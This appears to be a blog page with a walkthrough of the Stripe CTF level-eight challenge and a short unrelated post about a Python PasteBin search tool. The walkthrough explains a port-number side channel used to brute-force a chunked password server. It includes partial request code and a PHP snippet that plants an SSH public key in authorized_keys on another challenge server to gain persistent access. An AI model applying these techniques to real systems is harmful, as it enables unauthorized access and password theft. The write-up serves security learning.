The last level of the CTF is rightfully the most challenging. It really requires thinking outside the box and it is quite difficult to spot the possible vulnerability at first. This level involves a password storing mechanism that saves passwords in chunks. For example, a 12 digit password will be stored in 4 chunks of three digits each. These chunks are then distributed throughout "chunk servers" which can be on different ports of the same physical server or distributed among remote servers. The main server receives a request for a password check, splits the password into chunks, then polls each chunk server for its piece. If the chunk is correct it returns true. This continues until either a chunk server returns false, in which case the password is returned as incorrect, or all chunk servers return true, in which case the main server returns true.

When a POST is made, there is an option for "webhooks." A webhook will be sent a copy of the response, such as "success:true" or "success:false". One additional fact makes this level a bit more difficult: the level eight servers only have network access to other stripe-ctf servers.

As with each of the levels, Stripe provided the source code for download. In the case of level eight, downloading and running the source code locally is extremely beneficial to understanding where the vulnerability may exist.

Vulnerability
Finding the vulnerability really requires thinking about all of the information that a server returns with its response, down to the socket level. Using the following code snippet, we can make a sample request to the server and print out the information associated with the response.

data = json.dumps({"password": key, "webhooks": ["127.0.0.1:50010"]})
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
output = response.read()
response.close()

client, address = s.accept()
data_recv = client.recv(size)
if data_recv: 
     print(data + address)

Note that I have left out some import statements and other code for the sake of brevity.

When this code is executed, a response is printed, including the data response, as well as the address of the server and the port number. This information is crucial to discovering the vulnerability.

To find what is happening, we can make requests on our local server using a known correct and a known incorrect password. For example, if we start the server using password "123456789012", we can try requests with passwords "123456789012" (a correct one), "023456789012" (first chunk incorrect), "123056789012" (second chunk incorrect), etc.

By analyzing the responses, hopefully a pattern will emerge. When the error is in the first chunk, the port numbers of two successive requests increments by two (the exact change number may be different for each application instance). When it is in the third chunk, the increment is by three, and so on. This pattern allows us to develop a script that can brute force the chunks individually rather than the entire password at once (the difference between a few thousand requests and 999 billion).

Now, we need to run our script on a level two machine so that the webhook can be contacted (remember: level eight servers only have access to other stripe-ctf servers). Luckily, the level two server is running an SSH server as well, allowing us to connect. We just need to upload our public key to the ~/.ssh/authorized_keys file.

To do this, I created a simple PHP page, uploaded it to level two, and ran it. The same result could be accomplished with a PHP shell, allowing us to enter commands directly.

<?php
  chdir('/mount/home/user-xxx');
  mkdir('.ssh');
  file_put_contents('.ssh/authorized_keys', 'my_public_key_here') . "\n";
?>

Now, we can SSH into the level two server.

We can then cd to the uploads folder where we can run any scripts that are uploaded via the web interface (I never did get scp working).

Back to the script, there are a number of ways it could be done. Personally, I wrote a script that checked each chunk individually, starting with the first. It would try "000", "001," "002," etc. On each request, it would analyze the port in the response. If it changed by the port increment (2 for the first chunk, 3 for the second, 4 for the third, and 5 for the fourth), it continued to the next request. However, if the change was more than the expected increment, it would pause and send two new requests with the same chunk (for example, "001" "001"). It would analyze the ports again. If the increment was not the expected increment, it would repeat the process two more times. If the ports incremented more than the expected increment more than three times in a row, the script stopped and marked the chunk as the correct one.

The rechecks are done for error correction. Because many other users were testing on the same level eight server, two ports in the right increment did not always exist. However, it was rare that that would happen three or more times in a row.

Once the chunk was found, I edited the script to test the next chunk. The overall process took about one hour. The script could be much improved by using multiple threads. I am uploading my scripts to GitHub, but they require edits before being usable on systems and user accounts different than mine.

Eventually, after the third chunk was found, I switched to polling the main server for the full chunk: xxxxxxxxx000, xxxxxxxxx001, etc. When it returned true, I had found the flag!

Remediation
The vulnerability in this application is another programming logic error. The port that is returned in the request when a chunk is invalid should not be different from that of the main server. This again shows that attackers will use any information they can to exploit an application.

Conclusion

The Stripe CTF was a truly awesome experience. The challenges were crafted uniquely and with great precision. I admit that a number of these levels truly stumped me at first. But in a larger sense, they forced me to think in ways I hadn't previously thought. I hope this walkthrough has been beneficial and that this entire contest raises more awareness about web security as a whole.

Resources

During the CTF I was Googling like crazy. Here are just a few of the resources I used while working on the CTF and in writing this post.



Monday, August 6, 2012

Random Project - PasteBin Searcher

I have recently begun learning Python and, like anything I've tried to learn, needed a project in order to help me get started. So, for something simple, I decided to create a tool that periodically searches the website PasteBin for a user-provided term.

PasteBin has commonly been used by computer criminals to post and share information. This information can range from user accounts (Anonymous uses PasteBin frequently to dump lists of users and passwords) to credit card numbers and other personal information. The tool I've created allows a user to enter a regular expression as a search term. It then queries PasteBin every 5-10 seconds and looks at recently posted pastes for that term.

For use cases, credit card companies could adapt the script to monitor PasteBin for posted credit card numbers and then immediately lock those accounts (credit cards have unique regexes and each company has a unique number structure).

This was just a very basic project that allowed me to familiarize myself with Python and fetching URLs, regexes, and try/excepts.